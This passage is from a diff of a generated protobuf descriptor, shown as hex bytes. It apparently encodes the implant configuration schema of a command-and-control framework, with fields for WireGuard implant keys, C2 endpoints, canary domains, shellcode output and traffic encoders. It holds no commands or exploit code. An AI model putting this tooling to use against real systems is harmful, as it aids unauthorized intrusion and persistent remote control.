0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, - 0x65, 0x67, 0x79, 0x18, 0x34, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, 0x12, 0x2c, 0x0a, - 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, - 0x65, 0x64, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, - 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, - 0x69, 0x6d, 0x69, 0x74, 0x44, 0x61, 0x74, 0x65, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x3d, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x61, 0x74, 0x65, 0x74, 0x69, 0x6d, - 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, - 0x6d, 0x65, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x48, - 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, - 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x3f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, - 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, - 0x0f, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, - 0x18, 0x40, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, 0x69, 0x6c, - 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x69, 0x6d, 0x69, 0x74, - 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x41, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4c, 0x69, - 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x2e, 0x0a, 0x06, 0x46, 0x6f, 0x72, - 0x6d, 0x61, 0x74, 0x18, 0x64, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, - 0x74, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x73, 0x53, - 0x68, 0x61, 0x72, 0x65, 0x64, 0x4c, 0x69, 0x62, 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, - 0x49, 0x73, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, 0x4c, 0x69, 0x62, 0x12, 0x1a, 0x0a, 0x08, 0x46, - 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x66, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, - 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x53, 0x65, 0x72, - 0x76, 0x69, 0x63, 0x65, 0x18, 0x67, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x65, - 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, 0x6c, - 0x63, 0x6f, 0x64, 0x65, 0x18, 0x68, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, 0x68, - 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x52, 0x75, 0x6e, 0x41, 0x74, - 0x4c, 0x6f, 0x61, 0x64, 0x18, 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x52, 0x75, 0x6e, 0x41, - 0x74, 0x4c, 0x6f, 0x61, 0x64, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, 0x69, - 0x6c, 0x65, 0x18, 0x6a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, - 0x69, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4e, 0x65, 0x74, 0x47, 0x6f, 0x45, 0x6e, 0x61, 0x62, - 0x6c, 0x65, 0x64, 0x18, 0x6b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x4e, 0x65, 0x74, 0x47, 0x6f, - 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x36, 0x0a, 0x16, 0x54, 0x72, 0x61, 0x66, 0x66, - 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, - 0x64, 0x18, 0x6c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, - 0x28, 0x0a, 0x0f, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x72, 0x73, 0x18, 0x6d, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0f, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, - 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x12, 0x27, 0x0a, 0x06, 0x41, 0x73, 0x73, - 0x65, 0x74, 0x73, 0x18, 0xc8, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x06, 0x41, 0x73, 0x73, 0x65, - 0x74, 0x73, 0x22, 0x7a, 0x0a, 0x0e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x02, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x04, 0x57, 0x61, 0x73, 0x6d, 0x18, 0x02, 0x20, 0x01, + 0x18, 0x1e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x57, 0x47, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, + 0x74, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x57, 0x47, 0x53, 0x65, + 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0e, 0x57, 0x47, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, + 0x12, 0x20, 0x0a, 0x0b, 0x57, 0x47, 0x50, 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x18, + 0x20, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x57, 0x47, 0x50, 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e, + 0x49, 0x50, 0x12, 0x2c, 0x0a, 0x11, 0x57, 0x47, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, 0x61, + 0x6e, 0x67, 0x65, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x21, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x57, + 0x47, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x6f, 0x72, 0x74, + 0x12, 0x26, 0x0a, 0x0e, 0x57, 0x47, 0x54, 0x63, 0x70, 0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x50, 0x6f, + 0x72, 0x74, 0x18, 0x22, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0e, 0x57, 0x47, 0x54, 0x63, 0x70, 0x43, + 0x6f, 0x6d, 0x6d, 0x73, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, + 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x28, 0x20, + 0x01, 0x28, 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, + 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x30, 0x0a, 0x13, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6e, + 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x73, 0x18, 0x29, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x13, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x6f, 0x6c, 0x6c, + 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x50, + 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x43, 0x32, + 0x18, 0x32, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x52, 0x02, 0x43, 0x32, 0x12, + 0x24, 0x0a, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, + 0x18, 0x33, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f, + 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, 0x18, 0x34, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, + 0x61, 0x74, 0x65, 0x67, 0x79, 0x12, 0x2c, 0x0a, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f, + 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, + 0x6e, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x61, 0x74, 0x65, + 0x74, 0x69, 0x6d, 0x65, 0x18, 0x3d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, + 0x74, 0x44, 0x61, 0x74, 0x65, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, + 0x69, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, + 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x3f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x55, 0x73, 0x65, + 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, 0x69, + 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, + 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x12, + 0x20, 0x0a, 0x0b, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x41, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, + 0x65, 0x12, 0x2e, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x64, 0x20, 0x01, 0x28, + 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x75, 0x74, + 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, + 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, 0x4c, 0x69, 0x62, + 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, + 0x4c, 0x69, 0x62, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, + 0x66, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, + 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x18, 0x67, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x20, 0x0a, + 0x0b, 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x68, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x12, + 0x1c, 0x0a, 0x09, 0x52, 0x75, 0x6e, 0x41, 0x74, 0x4c, 0x6f, 0x61, 0x64, 0x18, 0x69, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x09, 0x52, 0x75, 0x6e, 0x41, 0x74, 0x4c, 0x6f, 0x61, 0x64, 0x12, 0x1c, 0x0a, + 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x6a, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4e, + 0x65, 0x74, 0x47, 0x6f, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x6b, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0c, 0x4e, 0x65, 0x74, 0x47, 0x6f, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, + 0x36, 0x0a, 0x16, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x73, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x6c, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x16, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, + 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x28, 0x0a, 0x0f, 0x54, 0x72, 0x61, 0x66, 0x66, + 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x6d, 0x20, 0x03, 0x28, 0x09, + 0x52, 0x0f, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, + 0x73, 0x12, 0x27, 0x0a, 0x06, 0x41, 0x73, 0x73, 0x65, 0x74, 0x73, 0x18, 0xc8, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, - 0x6c, 0x65, 0x52, 0x04, 0x57, 0x61, 0x73, 0x6d, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x6b, 0x69, 0x70, - 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, 0x6b, 0x69, - 0x70, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x54, 0x65, 0x73, 0x74, 0x49, 0x44, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x54, 0x65, 0x73, 0x74, 0x49, 0x44, 0x22, 0xb1, - 0x01, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x72, 0x4d, 0x61, 0x70, 0x12, 0x45, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, - 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, - 0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x55, 0x0a, 0x0d, 0x45, - 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, - 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2e, - 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, - 0x38, 0x01, 0x22, 0xa6, 0x01, 0x0a, 0x12, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, - 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x53, - 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, - 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x45, 0x72, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x18, 0x0a, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x06, 0x53, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x22, 0xc3, 0x01, 0x0a, 0x13, - 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, - 0x73, 0x74, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x32, 0x0a, 0x05, 0x54, 0x65, 0x73, 0x74, 0x73, - 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, - 0x54, 0x65, 0x73, 0x74, 0x52, 0x05, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x54, - 0x6f, 0x74, 0x61, 0x6c, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x0d, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x54, 0x65, 0x73, 0x74, - 0x73, 0x22, 0x66, 0x0a, 0x15, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, - 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, - 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, - 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1c, 0x0a, 0x09, 0x4f, - 0x54, 0x50, 0x53, 0x65, 0x63, 0x72, 0x65, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, - 0x4f, 0x54, 0x50, 0x53, 0x65, 0x63, 0x72, 0x65, 0x74, 0x22, 0x79, 0x0a, 0x15, 0x45, 0x78, 0x74, - 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, - 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, 0x44, - 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, - 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, - 0x46, 0x69, 0x6c, 0x65, 0x22, 0xa4, 0x01, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, - 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x3e, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, - 0x2e, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x43, - 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x1a, 0x53, 0x0a, 0x0c, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x6c, 0x0a, 0x0e, 0x43, - 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x12, 0x12, 0x0a, - 